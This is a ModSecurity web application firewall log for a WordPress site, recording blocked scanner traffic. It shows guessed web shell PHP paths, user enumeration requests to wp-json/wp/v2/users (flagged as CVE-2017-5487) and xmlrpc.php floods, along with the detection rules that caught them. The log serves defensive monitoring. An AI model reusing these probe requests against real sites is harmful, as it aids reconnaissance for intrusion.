[Sun Jan 04 21:07:08.113087 2026] [:error] [pid 29350:tid 29367] [client 4.194.49.38:37977] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib751.php"] [unique_id "aVpl_FZWNWo1XwAbpfagZAAAAoo"]
[Sun Jan 04 21:07:08.605960 2026] [:error] [pid 29351:tid 29400] [client 4.194.49.38:23050] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib751.php"] [unique_id "aVpl_JtGiMsRmNcKXvo0xwAAAtA"]
[Sun Jan 04 21:07:09.716115 2026] [:error] [pid 23968:tid 24009] [client 4.194.49.38:34979] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib751.php"] [unique_id "aVpl_WzpAzHWBUMs-z6A3wAAAgs"]
[Sun Jan 04 21:07:10.953244 2026] [:error] [pid 29415:tid 29455] [client 4.194.49.38:37958] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/data243.php"] [unique_id "aVpl_jEg4D51XOxGJ6yixAAAA4o"]
[Sun Jan 04 21:07:12.514733 2026] [:error] [pid 29415:tid 29462] [client 4.194.49.38:34976] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/data243.php"] [unique_id "aVpmADEg4D51XOxGJ6yixwAAA5E"]
[Sun Jan 04 21:07:13.065902 2026] [:error] [pid 29415:tid 29453] [client 4.194.49.38:34952] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/data243.php"] [unique_id "aVpmATEg4D51XOxGJ6yiygAAA4g"]
[Sun Jan 04 21:07:15.255030 2026] [:error] [pid 21753:tid 21768] [client 4.194.49.38:47043] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/data243.php"] [unique_id "aVpmA14xwAtqKablc04AEgAAAkw"]
[Sun Jan 04 21:07:16.736606 2026] [:error] [pid 23903:tid 23917] [client 4.194.49.38:47047] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core990.php"] [unique_id "aVpmBD_yzB-omvQP-LLMtwAAAMg"]
[Sun Jan 04 21:07:21.070446 2026] [:error] [pid 29351:tid 29402] [client 4.194.49.38:47076] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core990.php"] [unique_id "aVpmCZtGiMsRmNcKXvo0zQAAAtI"]
[Sun Jan 04 21:07:21.545077 2026] [:error] [pid 1297:tid 1322] [client 4.194.49.38:23041] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core990.php"] [unique_id "aVpmCRf98x0RBG23PjfkMgAAABc"]
[Sun Jan 04 21:07:22.360289 2026] [:error] [pid 29415:tid 29467] [client 4.194.49.38:47069] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/core990.php"] [unique_id "aVpmCjEg4D51XOxGJ6yi0gAAA5Y"]
[Sun Jan 04 21:07:23.911478 2026] [:error] [pid 23968:tid 24001] [client 4.194.49.38:37974] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aVpmC2zpAzHWBUMs-z6A4wAAAgM"]
[Sun Jan 04 21:07:24.831304 2026] [:error] [pid 29351:tid 29401] [client 4.194.49.38:47072] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aVpmDJtGiMsRmNcKXvo00QAAAtE"]
[Sun Jan 04 21:07:26.701177 2026] [:error] [pid 29351:tid 29390] [client 4.194.49.38:47058] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aVpmDptGiMsRmNcKXvo02wAAAsY"]
[Sun Jan 04 21:07:28.184603 2026] [:error] [pid 23903:tid 23933] [client 4.194.49.38:23101] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aVpmED_yzB-omvQP-LLMwQAAANg"]
[Sun Jan 04 21:07:29.033792 2026] [:error] [pid 29350:tid 29370] [client 4.194.49.38:34984] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aVpmEVZWNWo1XwAbpfagggAAAo0"]
[Sun Jan 04 21:07:31.017564 2026] [:error] [pid 1297:tid 1321] [client 4.194.49.38:23051] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aVpmExf98x0RBG23PjfkPAAAABY"]
[Sun Jan 04 21:07:32.661725 2026] [:error] [pid 23968:tid 24015] [client 4.194.49.38:38228] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aVpmFGzpAzHWBUMs-z6A7AAAAhE"]
[Sun Jan 04 21:07:33.560314 2026] [:error] [pid 29415:tid 29467] [client 4.194.49.38:47080] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aVpmFTEg4D51XOxGJ6yi9gAAA5Y"]
[Sun Jan 04 21:07:34.200902 2026] [:error] [pid 29350:tid 29373] [client 4.194.49.38:34967] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config596.php"] [unique_id "aVpmFlZWNWo1XwAbpfagjwAAApA"]
[Sun Jan 04 21:07:35.373031 2026] [:error] [pid 23968:tid 24013] [client 4.194.49.38:34992] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config596.php"] [unique_id "aVpmF2zpAzHWBUMs-z6A7gAAAg8"]
[Sun Jan 04 21:07:36.167803 2026] [:error] [pid 23903:tid 23927] [client 4.194.49.38:38234] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config596.php"] [unique_id "aVpmGD_yzB-omvQP-LLMxQAAANI"]
[Sun Jan 04 21:07:36.750127 2026] [:error] [pid 29350:tid 29367] [client 4.194.49.38:34973] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config596.php"] [unique_id "aVpmGFZWNWo1XwAbpfaglAAAAoo"]
[Sun Jan 04 21:07:37.884368 2026] [:error] [pid 29350:tid 29372] [client 4.194.49.38:34988] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib854.php"] [unique_id "aVpmGVZWNWo1XwAbpfagmAAAAo8"]
[Sun Jan 04 21:07:38.913161 2026] [:error] [pid 17268:tid 17273] [client 4.194.49.38:38008] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib854.php"] [unique_id "aVpmGrPW8UB8HzRRfIdFLwAAAUI"]
[Sun Jan 04 21:07:39.248902 2026] [:error] [pid 29351:tid 29397] [client 4.194.49.38:34954] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib854.php"] [unique_id "aVpmG5tGiMsRmNcKXvo0_QAAAs0"]
[Sun Jan 04 21:07:39.696048 2026] [:error] [pid 23968:tid 24002] [client 4.194.49.38:47086] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib854.php"] [unique_id "aVpmG2zpAzHWBUMs-z6A9wAAAgQ"]
[Sun Jan 04 21:07:40.871737 2026] [:error] [pid 29350:tid 29363] [client 4.194.49.38:47040] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/I3zu2h.php"] [unique_id "aVpmHFZWNWo1XwAbpfagmgAAAoY"]
[Sun Jan 04 21:07:41.312348 2026] [:error] [pid 29351:tid 29401] [client 4.194.49.38:38262] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/I3zu2h.php"] [unique_id "aVpmHZtGiMsRmNcKXvo1AAAAAtE"]
[Sun Jan 04 21:07:41.631029 2026] [:error] [pid 29415:tid 29449] [client 4.194.49.38:38253] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/I3zu2h.php"] [unique_id "aVpmHTEg4D51XOxGJ6yjBAAAA4Q"]
[Sun Jan 04 21:07:41.989424 2026] [:error] [pid 29351:tid 29403] [client 4.194.49.38:38224] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/I3zu2h.php"] [unique_id "aVpmHZtGiMsRmNcKXvo1AwAAAtM"]
[Sun Jan 04 21:07:43.079813 2026] [:error] [pid 21753:tid 21758] [client 4.194.49.38:38255] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/helper043.php"] [unique_id "aVpmH14xwAtqKablc04AJAAAAkI"]
[Sun Jan 04 21:07:44.383949 2026] [:error] [pid 23868:tid 23890] [client 4.194.49.38:38243] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/helper043.php"] [unique_id "aVpmILbaf-JYFyQL_058owAAAE4"]
[Sun Jan 04 21:07:46.269007 2026] [:error] [pid 21720:tid 21736] [client 4.194.49.38:34971] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/helper043.php"] [unique_id "aVpmIn5pkDWzwRcldOpOzAAAAI4"]
[Sun Jan 04 21:07:47.563293 2026] [:error] [pid 29415:tid 29463] [client 4.194.49.38:38256] [client 4.194.49.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/helper043.php"] [unique_id "aVpmIzEg4D51XOxGJ6yjDQAAA5I"]
[Sun Jan 04 21:41:15.736408 2026] [:error] [pid 37227:tid 37288] [client 162.62.213.187:51890] [client 162.62.213.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVpt-5AQAfXb5IgCkZOWswAAA8M"]
[Sun Jan 04 21:59:16.242198 2026] [:error] [pid 43583:tid 43591] [client 89.46.106.139:20422] [client 89.46.106.139] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aVpyNOZbrSRUiJ-RX9Y_IwAAAUI"]
[Sun Jan 04 21:59:42.168591 2026] [:error] [pid 30985:tid 31037] [client 97.74.207.221:45116] [client 97.74.207.221] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aVpyTkisiM0XfzVcTWCwWAAAAdc"]
[Sun Jan 04 22:01:50.126450 2026] [:error] [pid 43513:tid 43543] [client 34.60.222.236:51572] [client 34.60.222.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.222.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVpyzgbkALeynRnYKB7NrgAAAQE"]
[Sun Jan 04 22:01:53.775286 2026] [:error] [pid 43513:tid 43561] [client 34.60.222.236:51572] [client 34.60.222.236] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVpy0QbkALeynRnYKB7NtgAAARM"]
[Sun Jan 04 22:01:55.443028 2026] [:error] [pid 43513:tid 43549] [client 34.60.222.236:51572] [client 34.60.222.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.222.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVpy0wbkALeynRnYKB7NuwAAAQc"]
[Sun Jan 04 22:01:57.433035 2026] [:error] [pid 29351:tid 29389] [client 34.60.222.236:57717] [client 34.60.222.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.222.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVpy1ZtGiMsRmNcKXvpEgQAAAsU"]
[Sun Jan 04 22:01:59.287611 2026] [:error] [pid 43512:tid 43524] [client 34.60.222.236:49289] [client 34.60.222.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.222.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVpy1-oJ6wvm29_hxYySvAAAAMk"]
[Sun Jan 04 22:02:01.159585 2026] [:error] [pid 29351:tid 29397] [client 34.60.222.236:55347] [client 34.60.222.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.222.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVpy2ZtGiMsRmNcKXvpEggAAAs0"]
[Sun Jan 04 22:02:03.024258 2026] [:error] [pid 43512:tid 43532] [client 34.60.222.236:49877] [client 34.60.222.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.222.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVpy2-oJ6wvm29_hxYySvQAAANE"]
[Sun Jan 04 22:02:03.024477 2026] [:error] [pid 43512:tid 43532] [client 34.60.222.236:49877] [client 34.60.222.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.60.222.236, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVpy2-oJ6wvm29_hxYySvQAAANE"]
[Sun Jan 04 22:02:04.729560 2026] [:error] [pid 37165:tid 37218] [client 202.124.204.254:50798] [client 202.124.204.254] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/Wp/v2/users"] [unique_id "aVpy3FwRLzfe8wOrQpRgogAAAlM"]
[Sun Jan 04 22:04:32.592383 2026] [:error] [pid 42665:tid 42687] [client 190.107.177.36:44716] [client 190.107.177.36] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/V2/users"] [unique_id "aVpzcBRwYwWkN__L8BWS6wAAApI"]
[Sun Jan 04 22:11:08.862392 2026] [:error] [pid 42666:tid 42709] [client 34.91.127.6:59807] [client 34.91.127.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.91.127.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVp0_Pc221c7vwWrOjcULAAAAww"]
[Sun Jan 04 22:11:13.640118 2026] [:error] [pid 42666:tid 42698] [client 34.91.127.6:59807] [client 34.91.127.6] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVp1Afc221c7vwWrOjcUMgAAAwE"]
[Sun Jan 04 22:11:15.688906 2026] [:error] [pid 42666:tid 42712] [client 34.91.127.6:59807] [client 34.91.127.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.91.127.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVp1A_c221c7vwWrOjcURwAAAw8"]
[Sun Jan 04 22:11:17.864779 2026] [:error] [pid 30985:tid 31024] [client 34.91.127.6:56245] [client 34.91.127.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.91.127.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVp1BUisiM0XfzVcTWCz1wAAAco"]
[Sun Jan 04 22:11:20.027885 2026] [:error] [pid 45949:tid 45954] [client 34.91.127.6:53500] [client 34.91.127.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.91.127.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVp1CKWUhIYCdxgkhpBPLgAAAgA"]
[Sun Jan 04 22:11:22.140508 2026] [:error] [pid 30985:tid 31026] [client 34.91.127.6:52058] [client 34.91.127.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.91.127.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVp1CkisiM0XfzVcTWCz2QAAAcw"]
[Sun Jan 04 22:11:24.380494 2026] [:error] [pid 42666:tid 42715] [client 34.91.127.6:59538] [client 34.91.127.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.91.127.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVp1DPc221c7vwWrOjcUUAAAAxI"]
